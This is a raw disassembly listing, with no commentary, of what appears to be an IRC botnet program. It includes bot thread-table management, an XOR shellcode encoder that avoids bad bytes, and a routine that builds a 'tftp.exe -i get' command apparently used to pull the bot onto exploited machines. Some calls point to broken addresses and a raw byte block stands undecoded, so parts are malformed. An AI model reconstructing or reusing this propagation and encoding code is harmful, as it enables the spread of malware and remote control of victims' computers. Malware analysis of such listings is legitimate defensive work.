		mov	esi, offset dword_431610
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD74:				; CODE XREF: ___:0040AD6Bj
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AD84
		mov	esi, offset dword_43160C
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------


loc_40AD84:				; CODE XREF: ___:0040AD7Bj
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_431608
		jz	short loc_40AD97


loc_40AD92:				; CODE XREF: ___:0040AD52j
					; ___:0040AD62j
		mov	esi, offset dword_431604


loc_40AD97:				; CODE XREF: ___:0040AD32j
					; ___:0040AD39j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_4315FC
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40ADDB


loc_40ADB5:				; CODE XREF: ___:0040ADD9j
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ADB5


loc_40ADDB:				; CODE XREF: ___:0040ADB3j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ADE1	proc near		; CODE XREF: sub_40AE84+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	near ptr 26B0E28h
		nop
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40AE30
		call	dword_4CB9E0
		test	eax, eax
		mov	eax, offset off_43162C
		jnz	short loc_40AE19
		mov	eax, offset byte_43DB88


loc_40AE19:				; CODE XREF: sub_40ADE1+31j
		push	eax
		push	esi
		push	offset dword_431624
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_40AE50
; ---------------------------------------------------------------------------


loc_40AE30:				; CODE XREF: sub_40ADE1+22j
		call	dword_4CB9E0
		test	eax, eax
		mov	eax, offset off_43162C
		jnz	short loc_40AE44
		mov	eax, offset byte_43DB88


loc_40AE44:				; CODE XREF: sub_40ADE1+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40AE50:				; CODE XREF: sub_40ADE1+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40AE7F
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41CBC0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41BFD0
		add	esp, 18h


loc_40AE7F:				; CODE XREF: sub_40ADE1+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40ADE1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE84	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42D91C


loc_40AE90:				; CODE XREF: sub_40AE84+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40AEAB
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41CA50
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40AEB5
; ---------------------------------------------------------------------------


loc_40AEAB:				; CODE XREF: sub_40AE84+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40AEB5:				; CODE XREF: sub_40AE84+25j
		test	eax, eax
		jnz	short loc_40AEC7
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42D9A8
		jb	short loc_40AE90
		jmp	short loc_40AED5
; ---------------------------------------------------------------------------


loc_40AEC7:				; CODE XREF: sub_40AE84+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42D920[eax*4]
		pop	ecx


loc_40AED5:				; CODE XREF: sub_40AE84+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40AEE8
		push	[ebp+arg_0]
		call	sub_40ADE1
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40AEE8:				; CODE XREF: sub_40AE84+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40AE84	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		push	ebx
		push	esi
		lea	eax, [ebp-0B8h]
		push	edi
		push	eax
		mov	edi, offset byte_43DB88
		mov	dword ptr [ebp-0B8h], 94h
		nop
		call	near ptr 26F057Eh
		cmp	dword ptr [ebp-0B4h], 4
		push	0Ah
		pop	ebx
		jnz	short loc_40AF67
		cmp	dword ptr [ebp-0B0h], 0
		jnz	short loc_40AF48
		cmp	dword ptr [ebp-0A8h], 1
		jnz	short loc_40AF38
		mov	edi, offset dword_431620


loc_40AF38:				; CODE XREF: ___:0040AF31j
		cmp	dword ptr [ebp-0A8h], 2
		jnz	short loc_40AFA3
		mov	edi, offset dword_43161C
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF48:				; CODE XREF: ___:0040AF28j
		cmp	[ebp-0B0h], ebx
		jnz	short loc_40AF57
		mov	edi, offset dword_431618
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF57:				; CODE XREF: ___:0040AF4Ej
		cmp	dword ptr [ebp-0B0h], 5Ah
		jnz	short loc_40AF9E
		mov	edi, offset dword_431614
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF67:				; CODE XREF: ___:0040AF1Fj
		cmp	dword ptr [ebp-0B4h], 5
		jnz	short loc_40AF9E
		cmp	dword ptr [ebp-0B0h], 0
		jnz	short loc_40AF80
		mov	edi, offset dword_431610
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF80:				; CODE XREF: ___:0040AF77j
		cmp	dword ptr [ebp-0B0h], 1
		jnz	short loc_40AF90
		mov	edi, offset dword_43160C
		jmp	short loc_40AFA3
; ---------------------------------------------------------------------------


loc_40AF90:				; CODE XREF: ___:0040AF87j
		cmp	dword ptr [ebp-0B0h], 2
		mov	edi, offset dword_431684
		jz	short loc_40AFA3


loc_40AF9E:				; CODE XREF: ___:0040AF5Ej
					; ___:0040AF6Ej
		mov	edi, offset dword_431680


loc_40AFA3:				; CODE XREF: ___:0040AF3Fj
					; ___:0040AF46j ...
		lea	eax, [ebp-0A4h]
		push	offset word_4CB88C
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AFC1
		mov	esi, offset dword_43167C
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40AFC1:				; CODE XREF: ___:0040AFB8j
		lea	eax, [ebp-0A4h]
		push	offset a1	; "1"
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFDF
		mov	esi, offset sub_431678
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40AFDF:				; CODE XREF: ___:0040AFD6j
		lea	eax, [ebp-0A4h]
		push	offset dword_431674
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFFD
		mov	esi, offset dword_431670
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40AFFD:				; CODE XREF: ___:0040AFF4j
		lea	eax, [ebp-0A4h]
		push	offset dword_43166C
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B01B
		mov	esi, offset dword_431668
		jmp	short loc_40B03C
; ---------------------------------------------------------------------------


loc_40B01B:				; CODE XREF: ___:0040B012j
		lea	eax, [ebp-0A4h]
		push	offset dword_431664
		push	eax
		call	sub_41C2E0
		pop	ecx
		mov	esi, offset dword_431660
		test	eax, eax
		pop	ecx
		jnz	short loc_40B03C
		mov	esi, offset off_43165C


loc_40B03C:				; CODE XREF: ___:0040AFBFj
					; ___:0040AFDDj ...
		lea	eax, [ebp-0Ch]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	eax
		or	dword ptr [ebp-8], 0FFFFFFFFh
		or	dword ptr [ebp-0Ch], 0FFFFFFFFh
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	0
		call	sub_41ADD8
		pop	ecx
		push	eax
		call	sub_41CCE3
		mov	eax, [ebp-4]
		add	esp, 14h
		cmp	eax, ebx
		jge	short loc_40B086
		push	eax
		push	offset a0D	; "0%d"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41C360
		add	esp, 10h
		jmp	short loc_40B0AA
; ---------------------------------------------------------------------------


loc_40B086:				; CODE XREF: ___:0040B06Fj
		cmp	eax, 64h
		jge	short loc_40B098
		lea	ecx, [ebp-18h]
		push	ebx
		push	ecx
		push	eax
		call	sub_42635C
		jmp	short loc_40B0A7
; ---------------------------------------------------------------------------


loc_40B098:				; CODE XREF: ___:0040B089j
		push	offset a99	; "99"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41C360


loc_40B0A7:				; CODE XREF: ___:0040B096j
		add	esp, 0Ch


loc_40B0AA:				; CODE XREF: ___:0040B084j
		nop
		call	near ptr 26B0E28h
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		push	7
		push	800h
		call	near ptr 26F0000h
		nop
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		lea	eax, [ebp-24h]
		push	edi
		mov	edi, [ebp+8]
		push	eax
		push	offset aSSSS	; "%s|%s|%s|%s|"
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 1Ch
		cmp	dword_429098, esi
		jle	short loc_40B115


loc_40B0F0:				; CODE XREF: ___:0040B113j
		call	sub_41C2C2
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B89C
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40B0F0


loc_40B115:				; CODE XREF: ___:0040B0EEj
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B11C	proc near		; CODE XREF: sub_40B13C+Ap
					; sub_40B214+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_41B9C0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_41B9C0
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_40B11C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B13C	proc near		; CODE XREF: sub_40B22B+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B11C
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_40B159
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40B159:				; CODE XREF: sub_40B13C+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_41B9C0
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_41B9C0
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_43171C, eax
		lea	eax, [edi+1]
		mov	dword_43173D, eax
		lea	eax, [edi+17h]
		mov	dword_431735, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_4316B8
		push	ebx
		mov	dword_43174B, eax
		call	sub_41CD20
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_41CD20
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CD20
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_41CD20
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_431741
		push	esi
		call	sub_41CD20
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B13C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B214	proc near		; CODE XREF: sub_40B22B+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40B11C
		push	eax
		call	sub_40B298
		add	esp, 0Ch
		retn
sub_40B214	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B22B	proc near		; CODE XREF: sub_40DCF9+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_40B214
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_40B24B
		cmp	eax, 0FFFFh
		jbe	short loc_40B24F


loc_40B24B:				; CODE XREF: sub_40B22B+17j
		xor	eax, eax
		jmp	short loc_40B294
; ---------------------------------------------------------------------------


loc_40B24F:				; CODE XREF: sub_40B22B+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_40B11C
		add	eax, 101h
		push	eax
		call	sub_41BEB5
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_40B11C
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_40B13C
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2B3
		push	esi
		mov	edi, eax
		call	sub_41BA91
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_40B294:				; CODE XREF: sub_40B22B+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_40B22B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B298	proc near		; CODE XREF: sub_40B214+Ep
					; sub_40B2B3+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_40B2A1
		inc	ecx


loc_40B2A1:				; CODE XREF: sub_40B298+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_40B298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2B3	proc near		; CODE XREF: sub_40B22B+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_40B2CF
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_40B2D2


loc_40B2CF:				; CODE XREF: sub_40B2B3+8j
					; sub_40B2B3+Ej ...
		inc	[ebp+arg_C]


loc_40B2D2:				; CODE XREF: sub_40B2B3+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_40B2FA
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_40B2F3
		cmp	al, 0Dh
		jz	short loc_40B2F3
		cmp	al, 5Ch
		jz	short loc_40B2F3
		test	al, al
		jnz	short loc_40B2FA


loc_40B2F3:				; CODE XREF: sub_40B2B3+32j
					; sub_40B2B3+36j ...
		add	[ebp+arg_C], 100h


loc_40B2FA:				; CODE XREF: sub_40B2B3+28j
					; sub_40B2B3+3Ej
		push	[ebp+arg_C]
		call	sub_40B298
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_40B312
		cmp	eax, 0FFFFh
		jbe	short loc_40B319


loc_40B312:				; CODE XREF: sub_40B2B3+56j
		xor	eax, eax
		jmp	loc_40B3B7
; ---------------------------------------------------------------------------


loc_40B319:				; CODE XREF: sub_40B2B3+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_4CBB18
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_40B349


loc_40B32D:				; CODE XREF: sub_40B2B3+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_40B340
		cmp	al, 0Ah
		jz	short loc_40B340
		cmp	al, 0Dh
		jz	short loc_40B340
		cmp	al, 5Ch
		jnz	short loc_40B344


loc_40B340:				; CODE XREF: sub_40B2B3+7Fj
					; sub_40B2B3+83j ...
		inc	bl
		xor	edx, edx


loc_40B344:				; CODE XREF: sub_40B2B3+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_40B32D


loc_40B349:				; CODE XREF: sub_40B2B3+78j
		cmp	ecx, esi
		mov	byte_4CBB18, bl
		ja	short loc_40B375
		push	15h
		push	offset loc_4316A0
		push	[ebp+arg_0]
		mov	byte_4316AD, cl
		mov	byte_4316B1, bl
		call	sub_41CD20
		add	esp, 0Ch
		push	15h
		jmp	short loc_40B396
; ---------------------------------------------------------------------------


loc_40B375:				; CODE XREF: sub_40B2B3+9Ej
		push	17h
		push	offset loc_431688
		push	[ebp+arg_0]
		mov	word_431696, cx
		mov	byte_43169B, bl
		call	sub_41CD20
		add	esp, 0Ch
		push	17h


loc_40B396:				; CODE XREF: sub_40B2B3+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_40B3B2
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]


loc_40B3A4:				; CODE XREF: sub_40B2B3+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_40B3A4


loc_40B3B2:				; CODE XREF: sub_40B2B3+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_40B3B7:				; CODE XREF: sub_40B2B3+61j
		pop	esi
		leave
		retn
sub_40B2B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B3BA	proc near		; CODE XREF: ___:00401599p
					; ___:004015D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43E710


loc_40B3C2:				; CODE XREF: sub_40B3BA+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B3D6
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CB710
		jl	short loc_40B3C2
		jmp	short loc_40B421
; ---------------------------------------------------------------------------


loc_40B3D6:				; CODE XREF: sub_40B3BA+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43E710[esi]
		push	eax
		call	sub_41BFD0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43E910[esi], eax
		and	dword_43E914[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43E918[esi], 0
		mov	dword_43E91C[esi], eax
		and	byte_43E928[esi], 0
		pop	esi


loc_40B421:				; CODE XREF: sub_40B3BA+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B3BA	endp

; ---------------------------------------------------------------------------
byte_40B425	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2946o
		dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
		dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h,	6C858D00h, 0FFFFFFFFh
		dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
		dd 0C4830000h, 90006A14h, 2F4B8BE8h, 555E5F02h,	0EC81EC8Bh
		dd 200h, 6A5756h, 681075FFh, 43177Ch, 0FF0C75FFh, 0D2E80875h
		dd 83FFFFE3h, 0FF3314C4h, 43E710BEh, 3E8000h, 7D833C74h
		dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
		dd 0C54068FFh, 0E8500042h, 10D9Eh, 858D016Ah, 0FFFFFE00h
		dd 501075FFh, 0FF0C75FFh, 8AE80875h, 83FFFFE3h,	0C68124C4h
		dd 234h, 10FE8147h, 7C004CB7h, 0C95E5FB0h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B4F5	proc near		; CODE XREF: sub_401ACD+79AAp
					; sub_40B583+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B57D
		cmp	esi, 400h
		jge	short loc_40B57D
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43E924[esi]
		lea	edi, dword_43E924[esi]
		nop
		call	near ptr 26B0E72h
		cmp	[edi], ebx
		jz	short loc_40B52D
		push	1
		pop	ebp


loc_40B52D:				; CODE XREF: sub_40B4F5+33j
		mov	[edi], ebx
		lea	edi, dword_43E918[esi]
		mov	dword_43E910[esi], ebx
		mov	dword_43E914[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B54E
		push	eax
		call	sub_419F16
		pop	ecx


loc_40B54E:				; CODE XREF: sub_40B4F5+50j
		mov	[edi], ebx
		lea	edi, dword_43E91C[esi]
		mov	byte ptr dword_43E710[esi], bl
		mov	byte_43E928[esi], bl
		push	dword ptr [edi]
		call	dword_4CBA6C
		lea	esi, dword_43E920[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CBA6C
		mov	[esi], ebx
		pop	edi


loc_40B57D:				; CODE XREF: sub_40B4F5+Dj
					; sub_40B4F5+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B4F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B583	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43E710


loc_40B58F:				; CODE XREF: sub_40B583+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B5A0
		push	edi
		call	sub_40B4F5
		test	eax, eax
		pop	ecx
		jz	short loc_40B5A0
		inc	ebx


loc_40B5A0:				; CODE XREF: sub_40B583+Fj
					; sub_40B583+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CB710
		jl	short loc_40B58F
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B583	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B5B5	proc near		; CODE XREF: sub_401ACD+41B2p
					; sub_401ACD+4302p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43E914


loc_40B5C9:				; CODE XREF: sub_40B5B5+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B5EB
		test	edi, edi
		jle	short loc_40B5DD
		cmp	[esi], edi
		jz	short loc_40B5DD
		cmp	ebx, edi
		jnz	short loc_40B5EB


loc_40B5DD:				; CODE XREF: sub_40B5B5+1Ej
					; sub_40B5B5+22j
		push	ebx
		call	sub_40B4F5
		test	eax, eax
		pop	ecx
		jz	short loc_40B5EB
		inc	[ebp+var_4]


loc_40B5EB:				; CODE XREF: sub_40B5B5+1Aj
					; sub_40B5B5+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CB914
		jl	short loc_40B5C9
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B5B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B602	proc near		; CODE XREF: ___:00401630p
					; sub_401ACD+95Ep ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43E910


loc_40B609:				; CODE XREF: sub_40B602+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B612
		inc	eax


loc_40B612:				; CODE XREF: sub_40B602+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CB910
		jl	short loc_40B609
		retn
sub_40B602	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B621	proc near		; CODE XREF: sub_401ACD+23D9p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43E910


loc_40B62B:				; CODE XREF: sub_40B621+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B644
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CB910
		jl	short loc_40B62B
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B644:				; CODE XREF: sub_40B621+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B621	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B648	proc near		; CODE XREF: sub_401ACD+123Dp
					; sub_401ACD+125Bp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B661
		push	[ebp+arg_1C]
		call	sub_41C159
		pop	ecx


loc_40B661:				; CODE XREF: sub_40B648+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B5B5
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B68D
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41C266
		add	esp, 14h
		jmp	short loc_40B6A7
; ---------------------------------------------------------------------------


loc_40B68D:				; CODE XREF: sub_40B648+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41C266
		add	esp, 10h


loc_40B6A7:				; CODE XREF: sub_40B648+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B6C7
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_40B6C7:				; CODE XREF: sub_40B648+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		pop	ecx
		leave
		retn
sub_40B648	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B6D6	proc near		; CODE XREF: sub_4017ED+159p
					; ___:0040BD0Bp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43E924[eax], ecx
		mov	dword_43E910[eax], ecx
		mov	dword_43E914[eax], ecx
		mov	dword_43E918[eax], ecx
		mov	dword_43E91C[eax], ecx
		mov	dword_43E920[eax], ecx
		mov	byte ptr dword_43E710[eax], cl
		mov	byte_43E928[eax], cl
		retn
sub_40B6D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B713	proc near		; CODE XREF: sub_401ACD+7C2Bp
					; sub_40B841+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40B71D:				; CODE XREF: sub_40B713+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B77D
		cmp	eax, 1
		jnz	short loc_40B77D
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B77D
		cmp	cl, 2Ah
		jz	short loc_40B764
		cmp	cl, 3Fh
		jz	short loc_40B747
		cmp	cl, 5Bh
